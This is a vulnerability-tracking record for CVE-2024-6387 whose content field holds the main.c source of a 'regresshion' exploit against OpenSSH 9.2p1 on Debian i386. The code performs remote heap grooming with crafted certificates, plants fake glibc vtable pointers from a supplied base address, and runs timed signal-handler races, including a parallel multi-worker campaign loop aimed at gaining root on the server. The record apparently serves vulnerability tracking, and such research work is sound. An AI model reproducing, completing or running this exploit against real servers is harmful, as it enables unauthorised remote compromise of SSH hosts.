{"uuid": "cf37705a-997b-4a6e-b3f4-9d54197b0ddd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-6387", "type": "seen", "source": "https://gist.github.com/7etsuo/9c6315ce8a582d61b2599ef2ef0e8226", "content": "/* main.c \u2014 regresshion: CVE-2024-6387 exploit for OpenSSH 9.2p1 (Debian 12.5\n * i386, glibc 2.36).\n *\n *   regresshion selftest          \u2014 codec/mpint unit tests, no network\n *   regresshion m1      \u2014 handshake + encrypted publickey query\n *   regresshion certtest           \u2014 cert parse round-trip\n *   regresshion groomtest   [base] \u2014 grooming packets a,b,c,e\n *   regresshion calibrate   [pairs]   \u2014 measure cert parse time\n *   regresshion graceprobe   [maxwait] \u2014 measure the grace close\n *   regresshion attempt   [base] [grace] [eps] \u2014 one timed race\n *   regresshion campaign   [base] [grace] [workers]\n *                        [max_attempts] [duration_s] [marker]\n *                                   \u2014 parallel race loop (Phase 4)\n */\n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"src/buf.h\"\n#include \"src/campaign.h\"\n#include \"src/cert.h\"\n#include \"src/groom.h\"\n#include \"src/timing.h\"\n#include \"src/transport.h\"\n\nstatic int\ncmd_m1 (const char *ip, uint16_t port)\n{\n  /* A real (throwaway) ed25519 key so the server fully parses the blob and\n   * fails only at authorization \u2014 proves the whole encrypted path. */\n  EVP_PKEY_CTX *kctx = EVP_PKEY_CTX_new_id (EVP_PKEY_ED25519, NULL);\n  EVP_PKEY *key = NULL;\n  uint8_t pk[32];\n  size_t pkl = sizeof (pk);\n  if (!kctx || EVP_PKEY_keygen_init (kctx) &lt;= 0\n      || EVP_PKEY_keygen (kctx, &amp;key) &lt;= 0\n      || EVP_PKEY_get_raw_public_key (key, pk, &amp;pkl) &lt;= 0 || pkl != 32)\n    {\n      fprintf (stderr, \"m1: ed25519 keygen failed\\n\");\n      return 1;\n    }\n  EVP_PKEY_free (key);\n  EVP_PKEY_CTX_free (kctx);\n\n  buf_t blob;\n  buf_init (&amp;blob);\n  buf_put_cstring (&amp;blob, \"ssh-ed25519\");\n  buf_put_string (&amp;blob, pk, sizeof (pk));\n\n  ssh_conn *c = ssh_connect (ip, port);\n  if (!c)\n    {\n      fprintf (stderr, \"m1: connect to %s:%u failed\\n\", ip, port);\n      buf_free (&amp;blob);\n      return 1;\n    }\n  printf (\"m1: connected, running handshake...\\n\");\n  if (ssh_handshake (c) &lt; 0)\n    {\n      fprintf (stderr, \"m1: handshake FAILED\\n\");\n      ssh_close (c);\n      buf_free (&amp;blob);\n      return 1;\n    }\n  printf (\"m1: handshake OK (curve25519-sha256 / aes128-ctr / hmac-sha2-256)\\n\");\n\n  if (ssh_service_request (c, \"ssh-userauth\") &lt; 0)\n    {\n      fprintf (stderr, \"m1: SERVICE_REQUEST ssh-userauth FAILED\\n\");\n      ssh_close (c);\n      buf_free (&amp;blob);\n      return 1;\n    }\n  printf (\"m1: ssh-userauth service accepted\\n\");\n\n  char methods[256] = { 0 };\n  int t = ssh_userauth_pubkey_query (c, \"root\", \"ssh-ed25519\", blob.d, blob.len,\n                                     methods, sizeof (methods));\n  if (t &lt; 0)\n    fprintf (stderr, \"m1: transport error during userauth\\n\");\n  else if (t == SSH_MSG_USERAUTH_FAILURE)\n    printf (\"m1: got USERAUTH_FAILURE (as expected); server offers: %s\\n\",\n            methods);\n  else\n    printf (\"m1: unexpected response msg %d\\n\", t);\n\n  ssh_close (c);\n  buf_free (&amp;blob);\n\n  if (t != SSH_MSG_USERAUTH_FAILURE)\n    return 1;\n  printf (\"m1: PASS \u2014 encrypted userauth round-trip verified\\n\");\n  return 0;\n}\n\nstatic int\ncmd_certtest (const char *ip, uint16_t port)\n{\n  ca_ctx *ca = ca_generate ();\n  if (!ca)\n    {\n      fprintf (stderr, \"certtest: CA generation failed\\n\");\n      return 1;\n    }\n\n  /* A few principals of grooming-relevant sizes (chunk 320 / 4112 / 8208). */\n  static uint8_t p_small[312], p_large[4096], p_hole[8192];\n  memset (p_small, 'C', sizeof (p_small));\n  memset (p_large, 'B', sizeof (p_large));\n  memset (p_hole, 'A', sizeof (p_hole));\n  const uint8_t *prins[] = { p_small, p_large, p_hole };\n  size_t plens[] = { sizeof (p_small), sizeof (p_large), sizeof (p_hole) };\n  static uint8_t kid[] = \"regresshion-test\";\n\n  static uint8_t nbuf[256]; /* small arbitrary modulus for this test */\n  memset (nbuf, 0x41, sizeof (nbuf));\n  nbuf[0] &amp;= 0x7f; /* keep mpint short-framed */\n\n  cert_spec spec = {\n    .key_id = kid,\n    .key_id_len = sizeof (kid) - 1,\n    .principals = prins,\n    .principal_lens = plens,\n    .nprincipals = 3,\n    .type = 1,\n  };\n\n  buf_t blob;\n  buf_init (&amp;blob);\n  if (cert_build_rsa (&amp;blob, ca, nbuf, sizeof (nbuf), &amp;spec) &lt; 0)\n    {\n      fprintf (stderr, \"certtest: cert_build_rsa failed\\n\");\n      ca_free (ca);\n      return 1;\n    }\n  printf (\"certtest: cert blob = %zu bytes\\n\", blob.len);\n\n  ssh_conn *c = ssh_connect (ip, port);\n  if (!c || ssh_handshake (c) &lt; 0\n      || ssh_service_request (c, \"ssh-userauth\") &lt; 0)\n    {\n      fprintf (stderr, \"certtest: transport setup failed\\n\");\n      if (c)\n        ssh_close (c);\n      ca_free (ca);\n      buf_free (&amp;blob);\n      return 1;\n    }\n\n  char methods[256] = { 0 };\n  int t = ssh_userauth_pubkey_query (c, \"root\", CERT_PKALG_RSA, blob.d,\n                                     blob.len, methods, sizeof (methods));\n  printf (\"certtest: response msg %d (%s)%s%s\\n\", t,\n          t == SSH_MSG_USERAUTH_FAILURE ? \"USERAUTH_FAILURE\" : \"unexpected\",\n          methods[0] ? \", methods=\" : \"\", methods);\n\n  ssh_close (c);\n  ca_free (ca);\n  buf_free (&amp;blob);\n  if (t != SSH_MSG_USERAUTH_FAILURE)\n    return 1;\n  printf (\"certtest: PASS \u2014 cert parsed by both children, failed only at \"\n          \"authorization\\n\");\n  return 0;\n}\n\n/* Run one grooming packet: build specs, send cert query, report, free. */\nstatic int\ngroom_step (ssh_conn *c, ca_ctx *ca, const char *name, prin_spec *ps, size_t n,\n            const uint8_t *nbuf, size_t nlen)\n{\n  char methods[256] = { 0 };\n  static uint8_t kid[] = \"regresshion-groom\";\n  int t = groom_send_cert (c, ca, ps, n, kid, sizeof (kid) - 1, nbuf, nlen,\n                           methods, sizeof (methods));\n  printf (\"groomtest: packet %s (%zu principals) -&gt; msg %d\\n\", name, n, t);\n  groom_specs_free (ps, n);\n  const char *pz = getenv (\"REGRESSHION_PAUSE_AFTER_ATTEMPT\");\n  if (pz &amp;&amp; atoi (pz) &gt; 0)\n    {\n      printf (\"groomtest: pausing %ds after packet %s...\\n\", atoi (pz), name);\n      sleep ((unsigned)atoi (pz));\n    }\n  return t;\n}\n\nstatic int\ncmd_groomtest (const char *ip, uint16_t port, uint32_t glibc_base)\n{\n  ca_ctx *ca = ca_generate ();\n  if (!ca)\n    return 1;\n  ssh_conn *c = ssh_connect (ip, port);\n  if (!c || ssh_handshake (c) &lt; 0\n      || ssh_service_request (c, \"ssh-userauth\") &lt; 0)\n    {\n      fprintf (stderr, \"groomtest: transport setup failed\\n\");\n      return 1;\n    }\n\n  static uint8_t nbuf[256];\n  memset (nbuf, 0x41, sizeof (nbuf));\n  nbuf[0] &amp;= 0x7f;\n\n  prin_spec *ps;\n  size_t n;\n  int ok = 1;\n  const char *only = getenv (\"REGRESSHION_PACKETS\"); /* e.g. \"ab\" */\n  #define WANT(ch) (!only || strchr (only, ch))\n\n  if (WANT('a') &amp;&amp; groom_packet_a (&amp;ps, &amp;n) == 0)\n    ok &amp;= groom_step (c, ca, \"a\", ps, n, nbuf, sizeof (nbuf)) &gt; 0;\n  if (ok &amp;&amp; WANT('b') &amp;&amp; groom_packet_b (&amp;ps, &amp;n) == 0)\n    ok &amp;= groom_step (c, ca, \"b\", ps, n, nbuf, sizeof (nbuf)) &gt; 0;\n  if (ok &amp;&amp; WANT('c') &amp;&amp; groom_packet_c (&amp;ps, &amp;n) == 0)\n    ok &amp;= groom_step (c, ca, \"c\", ps, n, nbuf, sizeof (nbuf)) &gt; 0;\n  if (ok &amp;&amp; WANT('d') &amp;&amp; groom_packet_d (&amp;ps, &amp;n) == 0)\n    ok &amp;= groom_step (c, ca, \"d\", ps, n, nbuf, sizeof (nbuf)) &gt; 0;\n  if (ok &amp;&amp; WANT('r'))\n    {\n      /* raw-plant packet: REGRESSHION_MARKERS=1 plants 0xdeadbeef /\n       * 0xcafebabe instead of the libc addresses (crash attribution) */\n      uint32_t vt = glibc_base + G_OFF_WFILE_JUMPS;\n      uint32_t cvt = glibc_base + G_OFF_UNSORTED;\n      if (getenv (\"REGRESSHION_MARKERS\"))\n        {\n          vt = 0xdeadbeefu;\n          cvt = 0xcafebabeu;\n        }\n      uint8_t e_raw[G_E_RAW_LEN], n_raw[G_N_RAW_LEN], decoy[256];\n      groom_packet_r (e_raw, n_raw, vt, cvt);\n      groom_build_decoy (decoy, glibc_base);\n      char methods[256] = { 0 };\n      int t = groom_send_raw (c, ca, e_raw, sizeof (e_raw), n_raw,\n                              sizeof (n_raw), decoy, methods, sizeof (methods));\n      printf (\"groomtest: packet r -&gt; msg %d\\n\", t);\n      ok &amp;= t &gt; 0;\n    }\n  if (ok &amp;&amp; WANT('e'))\n    {\n      /* packet e's modulus is 2048 bytes (chunk 2064) so its n-original\n       * can't split the E chunk (320) \u2014 see timing.c / Entry 24 */\n      static uint8_t nbuf_e[2048];\n      memset (nbuf_e, 0x41, sizeof (nbuf_e));\n      nbuf_e[0] = 0x01;\n      if (groom_packet_e (&amp;ps, &amp;n) == 0)\n        ok &amp;= groom_step (c, ca, \"e\", ps, n, nbuf_e, sizeof (nbuf_e)) &gt; 0;\n    }\n\n  const char *hold = getenv (\"REGRESSHION_HOLD_AFTER\");\n  if (hold &amp;&amp; atoi (hold) &gt; 0)\n    {\n      printf (\"groomtest: holding connection for %ds...\\n\", atoi (hold));\n      sleep ((unsigned)atoi (hold));\n    }\n\n  ssh_close (c);\n  ca_free (ca);\n  printf (\"groomtest: %s\\n\", ok ? \"sequence delivered\" : \"sequence BROKE\");\n  return ok ? 0 : 1;\n}\n\nstatic int\ncmd_calibrate (const char *ip, uint16_t port, int pairs)\n{\n  ca_ctx *ca = ca_generate ();\n  if (!ca)\n    return 1;\n  timing_calib cal;\n  int rc = timing_measure (ip, port, ca, pairs, &amp;cal);\n  ca_free (ca);\n  if (rc &lt; 0)\n    {\n      fprintf (stderr, \"calibrate: no usable probe pairs\\n\");\n      return 1;\n    }\n  printf (\"calibrate: pairs=%d parsing_time=%.3fms rtt_floor=%.3fms\\n\",\n          cal.pairs_ok, cal.parsing_time * 1e3, cal.rtt_floor * 1e3);\n  return 0;\n}\n\nstatic int\ncmd_graceprobe (const char *ip, uint16_t port, int maxwait)\n{\n  printf (\"graceprobe: waiting up to %ds for the grace close...\\n\", maxwait);\n  double el = timing_grace_probe (ip, port, maxwait);\n  if (el == (double)TIMING_GRACE_ERR_TIMEOUT)\n    {\n      printf (\"graceprobe: no EOF within %ds\\n\", maxwait);\n      return 1;\n    }\n  if (el &lt; 0)\n    {\n      fprintf (stderr, \"graceprobe: transport error\\n\");\n      return 1;\n    }\n  printf (\"graceprobe: server closed at t0+%.3fs\\n\", el);\n  return 0;\n}\n\nstatic int\ncmd_attempt (const char *ip, uint16_t port, uint32_t glibc_base, double grace,\n             double epsilon)\n{\n  ca_ctx *ca = ca_generate ();\n  if (!ca)\n    return 1;\n\n  double pt = 0;\n  const char *ptenv = getenv (\"REGRESSHION_PARSING_TIME\");\n  if (ptenv &amp;&amp; atof (ptenv) &gt; 0)\n    {\n      pt = atof (ptenv);\n      printf (\"attempt: parsing_time=%.3fms (from env)\\n\", pt * 1e3);\n    }\n  else\n    {\n      timing_calib cal;\n      if (timing_measure (ip, port, ca, 3, &amp;cal) &lt; 0)\n        {\n          fprintf (stderr, \"attempt: calibration failed\\n\");\n          ca_free (ca);\n          return 1;\n        }\n      pt = cal.parsing_time;\n      printf (\"attempt: calibrated parsing_time=%.3fms rtt_floor=%.3fms \"\n              \"(%d pairs)\\n\", pt * 1e3, cal.rtt_floor * 1e3, cal.pairs_ok);\n    }\n\n  printf (\"attempt: firing packet e at t0+%.3fs (grace %.1fs, epsilon \"\n          \"%+.3fms)\\n\", grace - pt - epsilon, grace, epsilon * 1e3);\n  attempt_out ao;\n  attempt_result r\n      = attempt_once (ip, port, ca, glibc_base, grace, pt, epsilon, &amp;ao);\n  printf (\"attempt: %s\\n\", attempt_result_str (r));\n  printf (\"attempt: fire_at=%.3fs close_at=%.3fs eps_next=%+.3fms\\n\",\n          ao.fire_at, ao.close_at, ao.eps_next * 1e3);\n  ca_free (ca);\n  return r == ATTEMPT_ERROR ? 1 : 0;\n}\n\nstatic int\ncmd_campaign (const char *ip, uint16_t port, uint32_t glibc_base, double grace,\n              int workers, long max_attempts, int duration_sec, int marker)\n{\n  ca_ctx *ca = ca_generate ();\n  if (!ca)\n    return 1;\n\n  double pt = 0;\n  const char *ptenv = getenv (\"REGRESSHION_PARSING_TIME\");\n  if (ptenv &amp;&amp; atof (ptenv) &gt; 0)\n    {\n      pt = atof (ptenv);\n      printf (\"campaign: parsing_time=%.3fms (from env)\\n\", pt * 1e3);\n    }\n  else\n    {\n      timing_calib cal;\n      if (timing_measure (ip, port, ca, 5, &amp;cal) &lt; 0)\n        {\n          fprintf (stderr, \"campaign: calibration failed\\n\");\n          ca_free (ca);\n          return 1;\n        }\n      pt = cal.parsing_time;\n      printf (\"campaign: calibrated parsing_time=%.3fms rtt_floor=%.3fms \"\n              \"(%d pairs)\\n\", pt * 1e3, cal.rtt_floor * 1e3, cal.pairs_ok);\n    }\n\n  campaign_cfg cfg = {\n    .ip = ip,\n    .port = port,\n    .grace = grace,\n    .parsing_time = pt,\n    .workers = workers,\n    .max_attempts = max_attempts,\n    .duration_sec = duration_sec,\n    .fake_vt = marker ? CAMPAIGN_MARKER_VT : glibc_base + G_OFF_WFILE_JUMPS,\n    .fake_codecvt\n    = marker ? CAMPAIGN_MARKER_CODECVT : glibc_base + G_OFF_UNSORTED,\n    .ca = ca,\n  };\n  int rc = campaign_run (&amp;cfg);\n  ca_free (ca);\n  return rc;\n}\n\nint\nmain (int argc, char *argv[])\n{\n  setvbuf (stdout, NULL, _IOLBF, 0); /* live progress when redirected */\n  if (argc &gt;= 2 &amp;&amp; strcmp (argv[1], \"selftest\") == 0)\n    {\n      if (transport_selftest () == 0 &amp;&amp; groom_selftest () == 0)\n        {\n          printf (\"selftest: PASS\\n\");\n          return 0;\n        }\n      return 1;\n    }\n  if (argc == 4 &amp;&amp; strcmp (argv[1], \"m1\") == 0)\n    return cmd_m1 (argv[2], (uint16_t)atoi (argv[3]));\n  if (argc == 4 &amp;&amp; strcmp (argv[1], \"certtest\") == 0)\n    return cmd_certtest (argv[2], (uint16_t)atoi (argv[3]));\n  if (argc &gt;= 4 &amp;&amp; strcmp (argv[1], \"groomtest\") == 0)\n    {\n      uint32_t base = argc &gt;= 5 ? (uint32_t)strtoul (argv[4], NULL, 0)\n                                : 0xb7400000;\n      return cmd_groomtest (argv[2], (uint16_t)atoi (argv[3]), base);\n    }\n  if (argc &gt;= 4 &amp;&amp; strcmp (argv[1], \"calibrate\") == 0)\n    return cmd_calibrate (argv[2], (uint16_t)atoi (argv[3]),\n                          argc &gt;= 5 ? atoi (argv[4]) : 5);\n  if (argc &gt;= 4 &amp;&amp; strcmp (argv[1], \"graceprobe\") == 0)\n    return cmd_graceprobe (argv[2], (uint16_t)atoi (argv[3]),\n                           argc &gt;= 5 ? atoi (argv[4]) : 700);\n  if (argc &gt;= 4 &amp;&amp; strcmp (argv[1], \"attempt\") == 0)\n    {\n      uint32_t base = argc &gt;= 5 ? (uint32_t)strtoul (argv[4], NULL, 0)\n                                : 0xb7400000;\n      double grace = argc &gt;= 6 ? atof (argv[5]) : 25.0;\n      double eps = argc &gt;= 7 ? atof (argv[6]) : 0.001;\n      return cmd_attempt (argv[2], (uint16_t)atoi (argv[3]), base, grace, eps);\n    }\n  if (argc &gt;= 4 &amp;&amp; strcmp (argv[1], \"campaign\") == 0)\n    {\n      uint32_t base = argc &gt;= 5 ? (uint32_t)strtoul (argv[4], NULL, 0)\n                                : 0xb7400000;\n      double grace = argc &gt;= 6 ? atof (argv[5]) : 10.0;\n      int workers = argc &gt;= 7 ? atoi (argv[6]) : 64;\n      long max_attempts = argc &gt;= 8 ? atol (argv[7]) : 0;\n      int duration = argc &gt;= 9 ? atoi (argv[8]) : 0;\n      int marker = argc &gt;= 10 ? atoi (argv[9]) : 1;\n      return cmd_campaign (argv[2], (uint16_t)atoi (argv[3]), base, grace,\n                           workers, max_attempts, duration, marker);\n    }\n\n  fprintf (stderr,\n           \"usage:\\n\"\n           \"  %s selftest\\n\"\n           \"  %s m1  \\n\"\n           \"  %s certtest  \\n\"\n           \"  %s groomtest   [glibc_base]\\n\"\n           \"  %s calibrate   [pairs]\\n\"\n           \"  %s graceprobe   [maxwait]\\n\"\n           \"  %s attempt   [glibc_base] [grace] [epsilon]\\n\"\n           \"  %s campaign   [base] [grace] [workers]\\n\"\n           \"              [max_attempts] [duration_s] [marker]\\n\",\n           argv[0], argv[0], argv[0], argv[0], argv[0], argv[0], argv[0],\n           argv[0]);\n  return 1;\n}\n", "creation_timestamp": "2026-09-30T18:00:41.000000Z"}